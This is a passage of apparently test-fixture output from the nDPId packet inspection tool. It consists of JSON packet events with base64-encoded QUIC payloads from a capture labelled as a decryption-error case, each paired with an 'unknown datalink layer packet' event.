s3XQm4YAEs5H9FTLfoJ2FAQDCKtdtOWYYIG4gemFcVMIZDky3nyw6pBULSTMQO4ORvnYgFs6t3bmvPENYcns7nm7pnYwBn2s7mSD9BvmyVvQqfzExyCvAF7ahvrsK7\/enilK+Mw4OqkIqJk7shErG9m+jGKYU6sUFMdtBhrOxvW+LwnZuxBrTYlkuVnx81ufkXX29\/wVPezZfsavTVa4LGTahbxTsCpQVI\/PZSr4VVM5RIANu5zjbX8dPE13c+TltCzk1TY+LrvkW\/i8rDD6fft7hXUI+DfLP8DvWN1r9O6WcwZoys7I="} +00184{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":148,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","datalink":12} +02051{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":149,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593498296,"pkt_ts_usec":926000,"pkt_caplen":1280,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1280,"pkt_l4_len":0,"pkt":"RQAFAAADQABZEaloXmHhkgrmKKgBu\/L0BOxtTUYX3g+FW+A4zTiASaLL3yvqPebunXbcbwfRIFRAgHwfKCl6IPKggGspAYPUvSCbJs0GxjX7K2KZxthvOzijOvwJHjdBDWTzROQoDGGH00wwnIwfRVENeiXvZDPNeqpiD1lbXyKIQ1Mr4sq\/plsTdvJZwAkXSMBj9rO6ZEU25heywijQoemrCfNdRf6mOufYbjz0WfQa1FZLIshl2PTfkpweeOSzV6yol9jQaUv4OB9GZcunNhJ3sq82XmHG4oBYg18IvJfnynqaPUnouGAClCliam4mCnAikFwUb33bSkoJSYX0iOQ035Y7g2pkX1CCS5E57xJd1AB5X5CnFabrrsId3m7S03vac8RCmAWag+r6kgrUrXlX7aVFrXe0gu0n\/qd1ery\/JumsScVicRb19gFAK6KA8r5OTRGs+2IlerXHvyyZOYSwRx8Pd3FOTFLfNQJ8ZGlgg\/irkMqVGOJiG3e7tewFBtk4OuezONRoffCQUP7hH\/2L3crzHC2m+NpzxAdiZBeBuN3CcI8HBQ2nQqtvsWr+OTwimFYjzraUf6HTsuTljOUhNSUDkmIiRQAKOjGKIYAhTV4cgWpN3m3Zt+GaxhqvubWx8SrYnqfA3ZsMUbvVJ+79KyYbf4OzBjO\/LU2913T+I5iF\/icHMMML4uGv+YNeQJ6y\/Aps7ZRfEJVg558M6qgxCeGRPO4o9WWdTek5xn1Q2CfGcQWIA4i9Fsqmytipa9BzCC2gdbCrtzAAHdkH0x8MM3p72QCark+jPffMMcSBEbTZ6FAUIExjDju5WXVYxRjueLDU2wdJBPVC+nRjn+nzvrpqhxTk56xtYMWnm7QvezH6gOWOsQLsOuiLq2usuwAtL58CSfFC4dK7WqJ8AwSm68Zg+INoFIu4Oo6foOwTIjluTNM9kGFsB9CAME3gxnspX2eG7RjVMyyvtPJymSd6xhDAfH++td\/bo+BWj7I0vLv53Pt\/NozKlf4esAQt4KV+l5JX\/cF9Gpj7I3rzZvalsXmpk3hNXwjPfoLW1yi6NJL5fVjUyOQiEhg4CsBvX\/nmEMGHWjPEdRpIbiqWnY8KzOnznKka5KFXHSXWeaL0nzaTa\/oy3etXzzsgNDm5tsoAY+DJtvaA17cxL\/H5EwDeFbWhmZtFczkvwuTFDhbtp7whaSwaAcw739Zvt9Ua\/Q+s+ClDF2H3wheM\/iraBC6KvncMjiKFrWLUGHttGLL0WXuJAVac5zmyArcXDYpG8smxDA0QxkCD73RCFsr\/hg5MqYlyETyAwu4hxQ2Mrualg07KuMix5NGjpxpia8vizPZ9ekWgFcuHs8ghmgIrEpM+ehFJbykS4N8bly436tqcB1V2AzSzgsy\/akLlgO+sAXpcPvAn60\/huj2jQNoKtFt37vfSJYeRK7sYTkZ2wATtgq87tiafR8YIFGB7pmwOS31BGE7RqP\/tOmd7eSzdk7zutWdnqnWiYHtZbkUJS8VD2cyqMDKaaR7s8Rh1rq+vycsykBDGaU3\/UmwN5GQirPVZf6+tIpeWa8PIXbX0jCCY03yR1bhLxDgD5wRIuhxGqvbPzT0Sb09fatTXaOFieOZRNz5+byCRyJsPoew4e3HlfChOUvr9pNeaiyfYVwcqQr4AKIxLqXL4hbtfKtSzKZk5Ez1PTmPzHH0oG2oReoI="} +00184{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":149,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","datalink":12} +02051{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":150,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593498296,"pkt_ts_usec":926000,"pkt_caplen":1280,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1280,"pkt_l4_len":0,"pkt":"RQAFAAADQABZEaloXmHhkgrmKKgBu\/L0BOxtTUYX3g+FW+A4zTiASaLL3yvqPebunXbcbwfRIFRAgHwfKCl6IPKggGspAYPUvSCbJs0GxjX7K2KZxthvOzijOvwJHjdBDWTzROQoDGGH00wwnIwfRVENeiXvZDPNeqpiD1lbXyKIQ1Mr4sq\/plsTdvJZwAkXSMBj9rO6ZEU25heywijQoemrCfNdRf6mOufYbjz0WfQa1FZLIshl2PTfkpweeOSzV6yol9jQaUv4OB9GZcunNhJ3sq82XmHG4oBYg18IvJfnynqaPUnouGAClCliam4mCnAikFwUb33bSkoJSYX0iOQ035Y7g2pkX1CCS5E57xJd1AB5X5CnFabrrsId3m7S03vac8RCmAWag+r6kgrUrXlX7aVFrXe0gu0n\/qd1ery\/JumsScVicRb19gFAK6KA8r5OTRGs+2IlerXHvyyZOYSwRx8Pd3FOTFLfNQJ8ZGlgg\/irkMqVGOJiG3e7tewFBtk4OuezONRoffCQUP7hH\/2L3crzHC2m+NpzxAdiZBeBuN3CcI8HBQ2nQqtvsWr+OTwimFYjzraUf6HTsuTljOUhNSUDkmIiRQAKOjGKIYAhTV4cgWpN3m3Zt+GaxhqvubWx8SrYnqfA3ZsMUbvVJ+79KyYbf4OzBjO\/LU2913T+I5iF\/icHMMML4uGv+YNeQJ6y\/Aps7ZRfEJVg558M6qgxCeGRPO4o9WWdTek5xn1Q2CfGcQWIA4i9Fsqmytipa9BzCC2gdbCrtzAAHdkH0x8MM3p72QCark+jPffMMcSBEbTZ6FAUIExjDju5WXVYxRjueLDU2wdJBPVC+nRjn+nzvrpqhxTk56xtYMWnm7QvezH6gOWOsQLsOuiLq2usuwAtL58CSfFC4dK7WqJ8AwSm68Zg+INoFIu4Oo6foOwTIjluTNM9kGFsB9CAME3gxnspX2eG7RjVMyyvtPJymSd6xhDAfH++td\/bo+BWj7I0vLv53Pt\/NozKlf4esAQt4KV+l5JX\/cF9Gpj7I3rzZvalsXmpk3hNXwjPfoLW1yi6NJL5fVjUyOQiEhg4CsBvX\/nmEMGHWjPEdRpIbiqWnY8KzOnznKka5KFXHSXWeaL0nzaTa\/oy3etXzzsgNDm5tsoAY+DJtvaA17cxL\/H5EwDeFbWhmZtFczkvwuTFDhbtp7whaSwaAcw739Zvt9Ua\/Q+s+ClDF2H3wheM\/iraBC6KvncMjiKFrWLUGHttGLL0WXuJAVac5zmyArcXDYpG8smxDA0QxkCD73RCFsr\/hg5MqYlyETyAwu4hxQ2Mrualg07KuMix5NGjpxpia8vizPZ9ekWgFcuHs8ghmgIrEpM+ehFJbykS4N8bly436tqcB1V2AzSzgsy\/akLlgO+sAXpcPvAn60\/huj2jQNoKtFt37vfSJYeRK7sYTkZ2wATtgq87tiafR8YIFGB7pmwOS31BGE7RqP\/tOmd7eSzdk7zutWdnqnWiYHtZbkUJS8VD2cyqMDKaaR7s8Rh1rq+vycsykBDGaU3\/UmwN5GQirPVZf6+tIpeWa8PIXbX0jCCY03yR1bhLxDgD5wRIuhxGqvbPzT0Sb09fatTXaOFieOZRNz5+byCRyJsPoew4e3HlfChOUvr9pNeaiyfYVwcqQr4AKIxLqXL4hbtfKtSzKZk5Ez1PTmPzHH0oG2oReoI="} +00184{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":150,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","datalink":12} +02051{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":151,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593498296,"pkt_ts_usec":926000,"pkt_caplen":1280,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1280,"pkt_l4_len":0,"pkt":"RTgFAAADQABZEakwXmHhkgrmKKgBu\/L0BOxtTUYX3g+FW+A4zTiASaLL3yvqPebunXbcbwfRIFRAgHwfKCl6IPKggGspAYPUvSCbJs0GxjX7K2KZxthvOzijOvwJHjdBDWTzROQoDGGH00wwnIwfRVENeiXvZDPNeqpiD1lbXyKIQ1Mr4sq\/plsTdvJZwAkXSMBj9rO6ZEU25heywijQoemrCfNdRf6mOufYbjz0WfQa1FZLIshl2PTfkpweeOSzV6yol9jQaUv4OB9GZcunNhJ3sq82XmHG4oBYg18IvJfnynqaPUnouGAClCliam4mCnAikFwUb33bSkoJSYX0iOQ035Y7g2pkX1CCS5E57xJd1AB5X5CnFabrrsId3m7S03vac8RCmAWag+r6kgrUrXlX7aVFrXe0gu0n\/qd1ery\/JumsScVicRb19gFAK6KA8r5OTRGs+2IlerXHvyyZOYSwRx8Pd3FOTFLfNQJ8ZGlgg\/irkMqVGOJiG3e7tewFBtk4OuezONRoffCQUP7hH\/2L3crzHC2m+NpzxAdiZBeBuN3CcI8HBQ2nQqtvsWr+OTwimFYjzraUf6HTsuTljOUhNSUDkmIiRQAKOjGKIYAhTV4cgWpN3m3Zt+GaxhqvubWx8SrYnqfA3ZsMUbvVJ+79KyYbf4OzBjO\/LU2913T+I5iF\/icHMMML4uGv+YNeQJ6y\/Aps7ZRfEJVg558M6qgxCeGRPO4o9WWdTek5xn1Q2CfGcQWIA4i9Fsqmytipa9BzCC2gdbCrtzAAHdkH0x8MM3p72QCark+jPffMMcSBEbTZ6FAUIExjDju5WXVYxRjueLDU2wdJBPVC+nRjn+nzvrpqhxTk56xtYMWnm7QvezH6gOWOsQLsOuiLq2usuwAtL58CSfFC4dK7WqJ8AwSm68Zg+INoFIu4Oo6foOwTIjluTNM9kGFsB9CAME3gxnspX2eG7RjVMyyvtPJymSd6xhDAfH++td\/bo+BWj7I0vLv53Pt\/NozKlf4esAQt4KV+l5JX\/cF9Gpj7I3rzZvalsXmpk3hNXwjPfoLW1yi6NJL5fVjUyOQiEhg4CsBvX\/nmEMGHWjPEdRpIbiqWnY8KzOnznKka5KFXHSXWeaL0nzaTa\/oy3etXzzsgNDm5tsoAY+DJtvaA17cxL\/H5EwDeFbWhmZtFczkvwuTFDhbtp7whaSwaAcw739Zvt9Ua\/Q+s+ClDF2H3wheM\/iraBC6KvncMjiKFrWLUGHttGLL0WXuJAVac5zmyArcXDYpG8smxDA0QxkCD73RCFsr\/hg5MqYlyETyAwu4hxQ2Mrualg07KuMix5NGjpxpia8vizPZ9ekWgFcuHs8ghmgIrEpM+ehFJbykS4N8bly436tqcB1V2AzSzgsy\/akLlgO+sAXpcPvAn60\/huj2jQNoKtFt37vfSJYeRK7sYTkZ2wATtgq87tiafR8YIFGB7pmwOS31BGE7RqP\/tOmd7eSzdk7zutWdnqnWiYHtZbkUJS8VD2cyqMDKaaR7s8Rh1rq+vycsykBDGaU3\/UmwN5GQirPVZf6+tIpeWa8PIXbX0jCCY03yR1bhLxDgD5wRIuhxGqvbPzT0Sb09fatTXaOFieOZRNz5+byCRyJsPoew4e3HlfChOUvr9pNeaiyfYVwcqQr4AKIxLqXL4hbtfKtSzKZk5Ez1PTmPzHH0oG2oReoI="} +00184{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":151,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","datalink":12} +02057{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":152,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593498296,"pkt_ts_usec":926000,"pkt_caplen":1280,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1280,"pkt_l4_len":0,"pkt":"RQAFAAAEQABZEalnXmHhkgrmKKgBu\/L0BOzqKFNz39O3d77frcIWD9A3xcwc19mwHqoY4TZ5aW1UOm4eyNE\/PGw3AfhTQDjjT+Z3jOGfzpJlPJbfpbfJQD+I21rrRvUghb7NKFDRzITJPPOpkETbo98urcYvgjwUKGGopJnhz3VvWnTSE+oyblRqjz4u+KHFi2vIYyiXGPkTTHOeGkzJhPZWUEGcA19Q2raJaxhKzUXdJ8MMniLT9PaLm0AYY9oTyk8hhoiuQNWIDNODSeiNMtv2fWlsKS\/WatepwBF7TSYzn772P6sS8HFAq+9QctbiCghI2P89LdArcJcT013BQV7zy4\/qkhQo5MlWPj+yW02KYbO0ja9K9L+vchpYOgN3\/2FA4YW3kO08CMChtYSLfkY+fBHKWEa+z8bnfDT+Ie+3R9\/o+yhtKqHq8Jd8l4fGhn0FUS4ap8Sou5zfTsiy4QduzPM6mX1YrjspwqZDQvEQPrS+yQzdCScA2ViCEQ487Hi10s+qXAlwzs1n3EAWma43cy1466sjKaXQaSm2ia4bhCDkkZgG4XM\/A56O07HUbuzO84C6Oyk0ViAem9iKR8DcOxnrmAPHlh+Yz57jULW4bHbxrNjTb7GtAQ6ftfWVM9W\/QxEfNxN9ei6qsrR3fo8Nd5M\/VwCwlwiTSAouVvMK2X2zdCPDzGUOATAvQrDoRKyVJ6OkEtYdGWgPodKGAgjr\/Eux3Uyha7S+GfKK+Qg\/esBnCaKKSocVYg\/xaNHP6nb4UEs0wUv9vonm5CKNFxh4oJZ+frSuzEKy7TvSkuylh+52kFYsp3IM3ZY3D4kX2qqTRzLjtl5GTvcZ0uZJYic7pqGA2ds+Sicd4CyeyGTCe8S8epTbyZ9tQG0AaqbClFjwL8\/WGFWP2yywv5ySaN39lVveQ2Xf1xWJxgNdgLYwY2U7hJ9zPAibB8bHj3zFZlA3MhaaJRJQHwSj59p9TeLcmsJRcmPaHTxrRkC19iGLue1mvhhKXtptxKMxDAHrxis2P\/2kc2DrXWl3wdvEcnZOhJEKJWU\/y+z3+wMRbKAx0xQkevnfsJwKERJA3nb5M+8NyEZABRchsBKnILJcJzEw4XuwRxSlTCKlUMZIOzI\/lserDp+NwjYuNmKAHzELPHX3h+fSmfjy4jSgaPFEI9i44qOXqqFpD1Ucq46VpLx77fSPDwYZziSTsayXkewJWAC2K0KFlsD54zk4YajzEAafD7G\/tEXSn\/UUv60yaTL3pTsaIyUyRBXzzxX0vdy0O8Qf+hsjWBkgkJmnBIrnMyQ+t\/A30cXOZnDPJIIgZ4G+\/UXZ4x9Blf26drl6BOE4qZJlHgDGYQELE5sUeIXrIM0y38eCdSiYqjosPGOiVFUm1sDdoyLBa3OOubCvI6Np3VFtUVbPGP6ElJ4QrHeGCja0GZgH\/4vWpf91N\/8QJz+NKGkuY3Xyt6UvX80FZGi3HxNo8aWUHSwvtHUWhtUrIJSZJ7APHrYEj8podb2sM\/DuJS2ZJKXV+CMWd4\/\/BV5a5\/WChs4rFZ66NLClyhLvViKZhO8qVw0Ur4KR7Uo40fdEg7EekeL2xZvJ0Ob14jk7nLBIUG2qa4vwbBInfvOetFE\/eeIJkyN6yBnCXkbhQbt8gxJ8pn5snYhLnCpkStu76RpAKDq7d7P+ZrN8hVrbV9Y+Yzi0co1vL\/nLw8WOAeM="} +00184{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":152,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","datalink":12} +02057{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":153,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593498296,"pkt_ts_usec":926000,"pkt_caplen":1280,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1280,"pkt_l4_len":0,"pkt":"RQAFAAAEQABZEalnXmHhkgrmKKgBu\/L0BOzqKFNz39O3d77frcIWD9A3xcwc19mwHqoY4TZ5aW1UOm4eyNE\/PGw3AfhTQDjjT+Z3jOGfzpJlPJbfpbfJQD+I21rrRvUghb7NKFDRzITJPPOpkETbo98urcYvgjwUKGGopJnhz3VvWnTSE+oyblRqjz4u+KHFi2vIYyiXGPkTTHOeGkzJhPZWUEGcA19Q2raJaxhKzUXdJ8MMniLT9PaLm0AYY9oTyk8hhoiuQNWIDNODSeiNMtv2fWlsKS\/WatepwBF7TSYzn772P6sS8HFAq+9QctbiCghI2P89LdArcJcT013BQV7zy4\/qkhQo5MlWPj+yW02KYbO0ja9K9L+vchpYOgN3\/2FA4YW3kO08CMChtYSLfkY+fBHKWEa+z8bnfDT+Ie+3R9\/o+yhtKqHq8Jd8l4fGhn0FUS4ap8Sou5zfTsiy4QduzPM6mX1YrjspwqZDQvEQPrS+yQzdCScA2ViCEQ487Hi10s+qXAlwzs1n3EAWma43cy1466sjKaXQaSm2ia4bhCDkkZgG4XM\/A56O07HUbuzO84C6Oyk0ViAem9iKR8DcOxnrmAPHlh+Yz57jULW4bHbxrNjTb7GtAQ6ftfWVM9W\/QxEfNxN9ei6qsrR3fo8Nd5M\/VwCwlwiTSAouVvMK2X2zdCPDzGUOATAvQrDoRKyVJ6OkEtYdGWgPodKGAgjr\/Eux3Uyha7S+GfKK+Qg\/esBnCaKKSocVYg\/xaNHP6nb4UEs0wUv9vonm5CKNFxh4oJZ+frSuzEKy7TvSkuylh+52kFYsp3IM3ZY3D4kX2qqTRzLjtl5GTvcZ0uZJYic7pqGA2ds+Sicd4CyeyGTCe8S8epTbyZ9tQG0AaqbClFjwL8\/WGFWP2yywv5ySaN39lVveQ2Xf1xWJxgNdgLYwY2U7hJ9zPAibB8bHj3zFZlA3MhaaJRJQHwSj59p9TeLcmsJRcmPaHTxrRkC19iGLue1mvhhKXtptxKMxDAHrxis2P\/2kc2DrXWl3wdvEcnZOhJEKJWU\/y+z3+wMRbKAx0xQkevnfsJwKERJA3nb5M+8NyEZABRchsBKnILJcJzEw4XuwRxSlTCKlUMZIOzI\/lserDp+NwjYuNmKAHzELPHX3h+fSmfjy4jSgaPFEI9i44qOXqqFpD1Ucq46VpLx77fSPDwYZziSTsayXkewJWAC2K0KFlsD54zk4YajzEAafD7G\/tEXSn\/UUv60yaTL3pTsaIyUyRBXzzxX0vdy0O8Qf+hsjWBkgkJmnBIrnMyQ+t\/A30cXOZnDPJIIgZ4G+\/UXZ4x9Blf26drl6BOE4qZJlHgDGYQELE5sUeIXrIM0y38eCdSiYqjosPGOiVFUm1sDdoyLBa3OOubCvI6Np3VFtUVbPGP6ElJ4QrHeGCja0GZgH\/4vWpf91N\/8QJz+NKGkuY3Xyt6UvX80FZGi3HxNo8aWUHSwvtHUWhtUrIJSZJ7APHrYEj8podb2sM\/DuJS2ZJKXV+CMWd4\/\/BV5a5\/WChs4rFZ66NLClyhLvViKZhO8qVw0Ur4KR7Uo40fdEg7EekeL2xZvJ0Ob14jk7nLBIUG2qa4vwbBInfvOetFE\/eeIJkyN6yBnCXkbhQbt8gxJ8pn5snYhLnCpkStu76RpAKDq7d7P+ZrN8hVrbV9Y+Yzi0co1vL\/nLw8WOAeM="} +00184{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":153,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","datalink":12} +02057{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":154,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593498296,"pkt_ts_usec":926000,"pkt_caplen":1280,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1280,"pkt_l4_len":0,"pkt":"RTgFAAAEQABZEakvXmHhkgrmKKgBu\/L0BOzqKFNz39O3d77frcIWD9A3xcwc19mwHqoY4TZ5aW1UOm4eyNE\/PGw3AfhTQDjjT+Z3jOGfzpJlPJbfpbfJQD+I21rrRvUghb7NKFDRzITJPPOpkETbo98urcYvgjwUKGGopJnhz3VvWnTSE+oyblRqjz4u+KHFi2vIYyiXGPkTTHOeGkzJhPZWUEGcA19Q2raJaxhKzUXdJ8MMniLT9PaLm0AYY9oTyk8hhoiuQNWIDNODSeiNMtv2fWlsKS\/WatepwBF7TSYzn772P6sS8HFAq+9QctbiCghI2P89LdArcJcT013BQV7zy4\/qkhQo5MlWPj+yW02KYbO0ja9K9L+vchpYOgN3\/2FA4YW3kO08CMChtYSLfkY+fBHKWEa+z8bnfDT+Ie+3R9\/o+yhtKqHq8Jd8l4fGhn0FUS4ap8Sou5zfTsiy4QduzPM6mX1YrjspwqZDQvEQPrS+yQzdCScA2ViCEQ487Hi10s+qXAlwzs1n3EAWma43cy1466sjKaXQaSm2ia4bhCDkkZgG4XM\/A56O07HUbuzO84C6Oyk0ViAem9iKR8DcOxnrmAPHlh+Yz57jULW4bHbxrNjTb7GtAQ6ftfWVM9W\/QxEfNxN9ei6qsrR3fo8Nd5M\/VwCwlwiTSAouVvMK2X2zdCPDzGUOATAvQrDoRKyVJ6OkEtYdGWgPodKGAgjr\/Eux3Uyha7S+GfKK+Qg\/esBnCaKKSocVYg\/xaNHP6nb4UEs0wUv9vonm5CKNFxh4oJZ+frSuzEKy7TvSkuylh+52kFYsp3IM3ZY3D4kX2qqTRzLjtl5GTvcZ0uZJYic7pqGA2ds+Sicd4CyeyGTCe8S8epTbyZ9tQG0AaqbClFjwL8\/WGFWP2yywv5ySaN39lVveQ2Xf1xWJxgNdgLYwY2U7hJ9zPAibB8bHj3zFZlA3MhaaJRJQHwSj59p9TeLcmsJRcmPaHTxrRkC19iGLue1mvhhKXtptxKMxDAHrxis2P\/2kc2DrXWl3wdvEcnZOhJEKJWU\/y+z3+wMRbKAx0xQkevnfsJwKERJA3nb5M+8NyEZABRchsBKnILJcJzEw4XuwRxSlTCKlUMZIOzI\/lserDp+NwjYuNmKAHzELPHX3h+fSmfjy4jSgaPFEI9i44qOXqqFpD1Ucq46VpLx77fSPDwYZziSTsayXkewJWAC2K0KFlsD54zk4YajzEAafD7G\/tEXSn\/UUv60yaTL3pTsaIyUyRBXzzxX0vdy0O8Qf+hsjWBkgkJmnBIrnMyQ+t\/A30cXOZnDPJIIgZ4G+\/UXZ4x9Blf26drl6BOE4qZJlHgDGYQELE5sUeIXrIM0y38eCdSiYqjosPGOiVFUm1sDdoyLBa3OOubCvI6Np3VFtUVbPGP6ElJ4QrHeGCja0GZgH\/4vWpf91N\/8QJz+NKGkuY3Xyt6UvX80FZGi3HxNo8aWUHSwvtHUWhtUrIJSZJ7APHrYEj8podb2sM\/DuJS2ZJKXV+CMWd4\/\/BV5a5\/WChs4rFZ66NLClyhLvViKZhO8qVw0Ur4KR7Uo40fdEg7EekeL2xZvJ0Ob14jk7nLBIUG2qa4vwbBInfvOetFE\/eeIJkyN6yBnCXkbhQbt8gxJ8pn5snYhLnCpkStu76RpAKDq7d7P+ZrN8hVrbV9Y+Yzi0co1vL\/nLw8WOAeM="} +00184{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":154,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","datalink":12} +02043{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":155,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593498296,"pkt_ts_usec":932000,"pkt_caplen":1280,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1280,"pkt_l4_len":0,"pkt":"RQAFAAAAQABZEalrXmHhkgrmKKgBu\/L0BOyC\/kf9eHNQLt\/ivCNm7Sp+72T3NhfJHD0mrVxotbQolYMjBaM902Xblzo5USkgWuUJObzGzwtzdA1evCn5l9R\/xRBJvHfD2h+fRPafAXFbR2+edrOG2zFKzeFgftHjDkhKIkn8Osq9q+tPydc58xLAL6TDFFWKvm1PQ8\/GoAHDWVCWL5Vmxza+TwXZbKSP37id7y1eoi70AJeI+vjndKwHRcf9wOqAgWLdJnr4POY6PgVcKX2crVR3SNnYMU054YahGfyf1vEvvET2zMlTsn+z087nTloDVxeyalSI3ZsVH9cQATWULmVqWjhADWFKuGmu\/SqXyzlddwBjJnQb6gnbN9BkZlfQYHT59i3jJRjv\/1Arrhjh7JdDcweURKlF0wOAm8R8W3dnznt9dM401yrsFs\/DlW3rKb6w88vudRo0oCRu\/NaQPPRrBTZHnH6iE3RPFatB2kGE73M43LKVjocZiOXBoTJSdEA72F19zvlu+UPb99SsrscZncRMgXznPDUpD0Afy2DasOya2GuxEmRaEUxna6l4affRRF3arUjhbriwhGqKH2k+uaB19O\/8uSz47zG0Qnkt0MTDvAo1VtXYnh+nvZGDJlrk8OO2VB1Bam7BvMINz2m1DY3dAuBP1Iw9nceUYLqaDMEOHsAQSpKguVvNgWaawrr8UeJECWE14kQXb7YLdm31H6Qq2jeeLHG4C74meMn810jbdJgNEA5SQFl4HX50++e+xvipPxgmhnGGp9JfIGvf73q062r+ObpqPVY94KbNxI+BgBX0TvVZqQ8NOBVx+1WrgwTeMKfRq7DpE2IyHm7hHZHTcOhf+TyafQ91gFPCzFXk7lVMKOHtjMLGMPsPPLd4xNB+g1Hn5kmYxQZZYub8KbFhCgjtG0WSC1R+WPzRaonGBxKGvvwwOYeMY5Ee4OhF2sJ8iBd5PB11+Pqbdm9r\/Kx5n8aDquPXWAeA1HsQunRvPInE83CDbdpi5N7+ffbv8tYWgTPy3tOkja7AFRttDXlJH1ck4XZ85CaFwjCbPEV7c6P9mW7IJuQWjw277k8X7tJswAtmjHd76pG5DG2XYHFqg1B0q+DrRrG61Gn3obfUx4+bdxhDNYLGUkjxcH\/9h58soyehXX5tEzdQrA5jhVOPGnR3J68sVxCRz9RNhY2IgUDd+hz55KhsVqkj5vXdG9iGLbLUMUEwkuClBg4jmv9FsgV6XioWXSUBCCyBDtUPpMorQwYM1qzOyYFYiXzB39A3PANYkBjGj5yxMHbk80PUpSAIjWHbXkdOa0ukec+GW+8ln1iZ8BX74O4\/qcgZlbCUn30OV3gXXBuSovDGKxtjPXveaJL4QWpfT0y18aQDB0f4BQKbeZUBJuMTylxHCwq6NlLV6fhFyZyHn4pUMkyg4nj06I+q4tUN67Gt2X7tl6slFygjAPW0e45it+7MI3d35NVtIdW8ngXDxr9lTCU449PTIDuozJErjgpsKv+4XKlHqGZWdhGQh1vMW7hbBv5xHBNMKovz5P43eErsG1zXjs+iTOkCTvz0xyxdUQYO+td4\/qPveHUaZXKNmK+vHaYl1fiaVlyVjN23LTz0j7cPOm7NYZEo+HbEOsGkL9R7lNXnJI4DyyVhL1GxVcMpaxESdjYoVzjpku9MTu8La6ORmu67WeiBAxbecVA="} +00184{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":155,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","datalink":12} +02043{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":156,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593498296,"pkt_ts_usec":932000,"pkt_caplen":1280,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1280,"pkt_l4_len":0,"pkt":"RQAFAAAAQABZEalrXmHhkgrmKKgBu\/L0BOyC\/kf9eHNQLt\/ivCNm7Sp+72T3NhfJHD0mrVxotbQolYMjBaM902Xblzo5USkgWuUJObzGzwtzdA1evCn5l9R\/xRBJvHfD2h+fRPafAXFbR2+edrOG2zFKzeFgftHjDkhKIkn8Osq9q+tPydc58xLAL6TDFFWKvm1PQ8\/GoAHDWVCWL5Vmxza+TwXZbKSP37id7y1eoi70AJeI+vjndKwHRcf9wOqAgWLdJnr4POY6PgVcKX2crVR3SNnYMU054YahGfyf1vEvvET2zMlTsn+z087nTloDVxeyalSI3ZsVH9cQATWULmVqWjhADWFKuGmu\/SqXyzlddwBjJnQb6gnbN9BkZlfQYHT59i3jJRjv\/1Arrhjh7JdDcweURKlF0wOAm8R8W3dnznt9dM401yrsFs\/DlW3rKb6w88vudRo0oCRu\/NaQPPRrBTZHnH6iE3RPFatB2kGE73M43LKVjocZiOXBoTJSdEA72F19zvlu+UPb99SsrscZncRMgXznPDUpD0Afy2DasOya2GuxEmRaEUxna6l4affRRF3arUjhbriwhGqKH2k+uaB19O\/8uSz47zG0Qnkt0MTDvAo1VtXYnh+nvZGDJlrk8OO2VB1Bam7BvMINz2m1DY3dAuBP1Iw9nceUYLqaDMEOHsAQSpKguVvNgWaawrr8UeJECWE14kQXb7YLdm31H6Qq2jeeLHG4C74meMn810jbdJgNEA5SQFl4HX50++e+xvipPxgmhnGGp9JfIGvf73q062r+ObpqPVY94KbNxI+BgBX0TvVZqQ8NOBVx+1WrgwTeMKfRq7DpE2IyHm7hHZHTcOhf+TyafQ91gFPCzFXk7lVMKOHtjMLGMPsPPLd4xNB+g1Hn5kmYxQZZYub8KbFhCgjtG0WSC1R+WPzRaonGBxKGvvwwOYeMY5Ee4OhF2sJ8iBd5PB11+Pqbdm9r\/Kx5n8aDquPXWAeA1HsQunRvPInE83CDbdpi5N7+ffbv8tYWgTPy3tOk